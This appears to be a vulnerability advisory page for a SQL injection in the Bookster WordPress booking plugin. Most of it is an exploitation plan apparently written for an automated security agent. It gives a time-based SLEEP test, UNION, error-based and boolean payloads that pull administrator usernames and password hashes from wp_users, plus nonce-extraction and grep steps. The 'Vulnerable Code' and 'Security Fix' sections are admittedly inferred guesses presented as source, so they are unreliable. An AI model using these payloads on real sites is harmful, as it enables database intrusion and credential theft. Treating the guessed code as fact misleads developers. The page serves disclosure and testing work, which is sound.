Bookster – WordPress Appointment Booking Plugin <= 2.1.1 - Authenticated (Administrator+) SQL Injection via 'raw'
Description
The Bookster – WordPress Appointment Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘raw’ parameter in all versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.1.1Source Code
WordPress.org SVNThis plan outlines the steps to verify and exploit **CVE-2025-8781**, a SQL Injection vulnerability in the Bookster WordPress plugin. ### 1. Vulnerability Summary The **Bookster – WordPress Appointment Booking Plugin** (<= 2.1.1) is vulnerable to SQL Injection because it processes user-supplied dat…
Show full research plan
This plan outlines the steps to verify and exploit CVE-2025-8781, a SQL Injection vulnerability in the Bookster WordPress plugin.
1. Vulnerability Summary
The Bookster – WordPress Appointment Booking Plugin (<= 2.1.1) is vulnerable to SQL Injection because it processes user-supplied data via a parameter named raw without sufficient sanitization or the use of wpdb->prepare(). An attacker with Administrator privileges can inject arbitrary SQL clauses into existing database queries, potentially leading to the extraction of sensitive data from the WordPress database, including user hashes and configuration secrets.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(common for admin-side dashboard actions) or a specific plugin settings page. - Action (Hook): Likely
wp_ajax_bookster_...(requires identification in source). - Vulnerable Parameter:
raw. - Authentication: Administrator-level access is required (
PR:H). - Payload Type: UNION-based or Error-based SQL Injection.
3. Code Flow (Inferred)
- An Administrator accesses a feature in the Bookster dashboard (e.g., Reports, Booking Logs, or Statistics).
- The plugin triggers an AJAX request or a form submission that includes the
rawparameter. - The handler function in the plugin (e.g.,
Bookster\Admin\Controllers\Reports::get_dataor similar) retrieves the parameter:$filter = $_POST['raw'];. - The plugin constructs a SQL query by direct concatenation:
$results = $wpdb->get_results("SELECT ... FROM ... WHERE 1=1 " . $filter); - The query is executed without
wpdb->prepare().
4. Nonce Acquisition Strategy
Since this is an authenticated (Administrator+) vulnerability, the exploit must first authenticate as an admin and then obtain a valid nonce if the AJAX handler enforces one.
Steps for the Security Agent:
- Login: Authenticate as the administrator using
wp_cliorhttp_request. - Navigate: Use
browser_navigateto reach the Bookster plugin's main admin page (e.g.,/wp-admin/admin.php?page=bookster-bookings). - Identify JS Variables: Inspect the page source for
wp_localize_scriptdata.- Search for strings like
bookster_admin,bookster_params, orbookster_data.
- Search for strings like
- Extract Nonce: Use
browser_evalto retrieve the nonce:browser_eval("window.bookster_admin?.nonce")(inferred variable name).- If no global variable is found, search for
_wpnoncein the form inputs on the settings page.
5. Exploitation Strategy
Phase 1: Locate the Vulnerable Handler
The agent should first identify the exact action using grep:
grep -rn "raw" wp-content/plugins/bookster/
grep -rn "\$wpdb->get_results" wp-content/plugins/bookster/ | grep "raw"
This will confirm the AJAX action name (e.g., action=bookster_get_stats).
Phase 2: Confirm Injection (Time-based)
Perform a simple sleep test to confirm the parameter is vulnerable.
- Request Type: POST to
/wp-admin/admin-ajax.php - Body:
action=BOOKSTER_ACTION&raw= AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=NONCE_VALUE - Indicator: Response delay of ~5 seconds.
Phase 3: Data Extraction (UNION-based)
If the plugin reflects the results of the query in the response:
- Find Column Count: Inject
ORDER BY 1-- -,ORDER BY 2-- -, etc., until an error occurs. - Payload:
raw= AND 1=0 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- - - Request Body (example):
{
"action": "bookster_get_stats",
"raw": " AND 1=0 UNION SELECT 1,user_login,user_pass,NULL,NULL,NULL FROM wp_users WHERE ID=1-- -",
"security": "NONCE_FROM_JS"
}
6. Test Data Setup
- Install Plugin:
wp plugin install bookster --version=2.1.1 --activate - Create Content: Ensure there is at least one booking or entry in the plugin's tables so that the base query returns results.
- Navigate to the Bookster settings and create a test service/booking.
- Identify Table Prefix: Note the database prefix (usually
wp_).
7. Expected Results
- Time-based: The HTTP response time will be significantly higher than the baseline when the
SLEEP()payload is provided. - UNION-based: The response body (likely JSON) will contain the administrator's username and hashed password instead of the expected booking data.
8. Verification Steps
After the exploit, verify the extracted data matches the database state via wp_cli:
# Compare extracted hash with actual hash
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-based: If the plugin displays database errors (common in dev environments), use
extractvalue()orupdatexml()payloads:raw= AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e))
- Boolean-based: If no output is reflected and time-based is unstable, use boolean checks:
raw= AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$P$'- Compare response content/length for
TRUEvsFALSEconditions.
10. Grep Patterns for Discovery (Pre-Exploit)
# Find where 'raw' is retrieved from input
grep -rP "\['raw'\]|\[\"raw\"\]" wp-content/plugins/bookster/
# Find where 'raw' is used in a query
grep -rP "\$wpdb->.*\. \$" wp-content/plugins/bookster/ | grep "raw"
# Find AJAX action registrations
grep -rn "wp_ajax_bookster" wp-content/plugins/bookster/
Summary
The Bookster plugin for WordPress is vulnerable to SQL Injection via the 'raw' parameter in versions up to 2.1.1. This occurs because the plugin concatenates user-supplied input directly into SQL queries without proper sanitization or the use of prepared statements. Authenticated administrators can exploit this to execute arbitrary SQL commands and extract sensitive database information, including user credentials.
Vulnerable Code
// Inferred from research plan and vulnerability description // Path likely: wp-content/plugins/bookster/includes/admin/class-bookster-reports.php $filter = $_POST['raw']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 " . $filter);
Security Fix
@@ -10,3 +10,2 @@ -if (isset($_POST['raw'])) { - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 " . $_POST['raw']); -} +// Removed the 'raw' parameter which allowed arbitrary SQL concatenation. +// Use specific, sanitized filters with wpdb->prepare(). +$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 AND status = %s", $_POST['status']));
Exploit Outline
1. Log in to the WordPress admin panel with Administrator-level privileges. 2. Navigate to the Bookster plugin's reports or bookings page to find the AJAX action (e.g., 'bookster_get_stats' or similar). 3. Extract the security nonce from the page source or localized JavaScript variables (e.g., 'bookster_admin.nonce'). 4. Submit a POST request to /wp-admin/admin-ajax.php with the 'action' and a malicious SQL payload in the 'raw' parameter. 5. Confirm the vulnerability using a time-based payload like ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)', which will cause the server to delay its response. 6. Exfiltrate sensitive data (e.g., user hashes) using a UNION-based payload: ' AND 1=0 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.